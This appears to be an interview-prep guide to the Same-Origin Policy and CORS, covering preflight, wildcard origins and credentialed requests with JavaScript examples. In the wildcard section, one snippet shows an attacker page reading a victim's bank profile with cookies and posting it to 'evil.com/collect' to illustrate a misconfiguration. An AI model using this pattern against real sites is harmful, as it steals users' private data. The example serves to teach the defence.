On this page · sections
Same-Origin Policy & CORS
The Same-Origin Policy (SOP) isolates documents by origin. CORS is the controlled exception that lets servers opt in to cross-origin programmatic reads.
| Concept | Role |
|---|---|
| Origin tuple | Scheme + host + port must match for same-origin |
| SOP | Blocks cross-origin reads of DOM, storage, fetch bodies |
| CORS | Server headers allow JS to read cross-origin responses |
| Simple request | GET/HEAD/POST with safelisted headers — no preflight |
| Preflight | OPTIONS probe before non-simple cross-origin requests |
| Credentialed fetch | credentials: 'include' + specific ACAO + Allow-Credentials |
Same-Origin Policy
Definition
Two URLs are same-origin when scheme, hostname, and port all match.
'use strict';
// Page origin: https://app.example.com
const sameOrigin = new URL('https://app.example.com/dashboard');
const crossOrigin = new URL('https://api.other.com/v1/users');
console.log(sameOrigin.origin); // 'https://app.example.com'
console.log(crossOrigin.origin); // 'https://api.other.com'
// Cross-origin fetch without ACAO — browser blocks JS from reading response
fetch('https://api.other.com/v1/users')
.then((res) => res.json())
.catch(() => {}); // TypeError: Failed to fetchSOP blocks cross-origin reads, not all cross-origin loads:
<img src>and<script src>load cross-origin; JS cannot inspect them- Cross-origin iframe — parent cannot access
contentDocument localStorage/sessionStorage— partitioned per origin- CORS applies to programmatic fetches, not display-only resource loads
https://app.example.com:443 vs http://app.example.com:80 → different origins
https://api.example.com vs https://app.example.com → different originsReal-world example
Cross-origin windows cannot touch each other’s DOM, but window.postMessage allows structured messaging when both sides validate event.origin.
WebSockets use an Origin header during handshake — same principle, different mechanism.
Interview: SOP is the default wall; CORS is a negotiated gate for fetch/XHR reads.
CORS Basics
Definition
For cross-origin fetch, the browser adds an Origin header. If the response includes Access-Control-Allow-Origin matching the request origin, JavaScript can read the body.
The request may reach the server; the page cannot read the response without CORS headers.
'use strict';
// Triggers preflight — custom header + JSON body
fetch('https://api.example.com/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: 'Bearer eyJhbGciOiJIUzI1NiJ9...',
},
body: JSON.stringify({ name: 'Ada' }),
});
// Simple request — GET, no custom headers
fetch('https://api.example.com/public/status');Interview: CORS controls who may read the response in JavaScript — not who may access the API.
Simple vs Preflight Requests
Definition
Simple requests skip preflight — GET/HEAD/POST with safelisted headers and content types.
Anything else — custom headers like Authorization, PUT, DELETE, or Content-Type: application/json — triggers a preflight OPTIONS before the real request.
Browser Server (api.example.com)
| |
| OPTIONS + Origin + Request-Method |
|------------------------------------->|
| 204 ACAO + Allow-Methods + Headers |
|<-------------------------------------|
| POST + Origin + Authorization |
|------------------------------------->|
| 200 + ACAO + JSON body |
|<-------------------------------------|Only application/x-www-form-urlencoded, multipart/form-data, and text/plain are safelisted POST content types — JSON triggers preflight.
Access-Control-Max-Age caches preflight results — reduces OPTIONS chatter.
Real-world example
Dev server proxies /api to backend so the browser sees same origin. Production should use real ACAO or a BFF — not a public open proxy.
Interview: Preflight adds one RTT per non-simple request until Max-Age cache expires; 404 on OPTIONS breaks SPAs silently.
Access-Control-Allow-Origin: *
Definition
* tells any origin’s JavaScript may read the response.
| Scenario | ACAO: * | Risk |
|---|---|---|
| Public weather API, no cookies | OK | Low |
| User profile API, session cookie | Never | High |
| Credentialed SPA | Blocked by spec | Must reflect specific origin |
It becomes dangerous when teams use * on endpoints returning user-specific JSON — any malicious site can fetch that data if cookies auto-send.
Correct pattern: allowlist origins, reflect exact Origin if matched, add Vary: Origin for CDN correctness.
'use strict';
// Server misconfiguration — attacker page at evil.com:
fetch('https://bank.example.com/api/me', { credentials: 'include' })
.then((r) => r.json())
.then((profile) => {
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(profile),
});
});Interview: Wildcard on private endpoints leaks data;
*is forbidden withAccess-Control-Allow-Credentials: true.
Credentialed Cross-Origin Requests
Definition
For cookies on cross-origin fetch, the client sets credentials: 'include'. The server must respond with Access-Control-Allow-Credentials: true and a specific Access-Control-Allow-Origin — never *.
'use strict';
fetch('https://api.example.com/me', {
method: 'GET',
credentials: 'include',
headers: { Accept: 'application/json' },
});
// Required server headers:
// Access-Control-Allow-Origin: https://app.example.com
// Access-Control-Allow-Credentials: true
// Set-Cookie: session=...; HttpOnly; Secure; SameSite=None; Path=/Key flags:
credentials: 'include'— sends cookies for target originSameSite=None; Secure; HttpOnly— cross-site credentialed flowsSameSite=Lax— cookies withheld on cross-site POST/fetch from third-party sites
Real-world example
BFF pattern — API on same origin as SPA; cookies stay first-party, no cross-origin credentialed fetch from browser to microservices.
'use strict';
const API_BASE = process.env.NEXT_PUBLIC_API_URL ?? '/api';
async function getProfile(signal) {
const res = await fetch(`${API_BASE}/me`, {
credentials: 'include',
signal,
headers: { Accept: 'application/json' },
});
if (!res.ok) throw new Error(`HTTP ${res.status}`);
return res.json();
}Interview: Credentialed flows require coordinated client + server + cookie config; each missing flag fails silently in the browser.
Senior Interview Summary
Mental model
SOP → Default isolation by origin tuple
CORS → Server opt-in for JS to read cross-origin responses
Preflight → OPTIONS before non-simple requests
CORS ≠ auth → Controls read access, not server authorizationPractical rules
- Environment-specific origin allowlists — dev localhost must not ship to prod
- Centralize fetch wrapper with allowed base URLs and credential policy
- OPTIONS handlers on every authenticated route
- Never use
mode: 'no-cors'on authenticated flows - Treat every new subdomain as a new origin in threat models
What to say in interviews
CORS is not a backend bug alone — frontend owns which origins we call, whether credentials ride along, and whether secrets appear in URLs. When CORS fails, diagnose preflight response, reflected origin, and credential flags in Network tab. Prefer BFF or same-site proxy so cookies stay first-party.
Common traps
- CORS protects the user’s browser data, not the server — requests still arrive
- Subdomains are not same origin (
api.example.com≠app.example.com) - CORS error often means request succeeded — JS cannot read the response
- Reflecting any
Originheader without allowlist = open CORS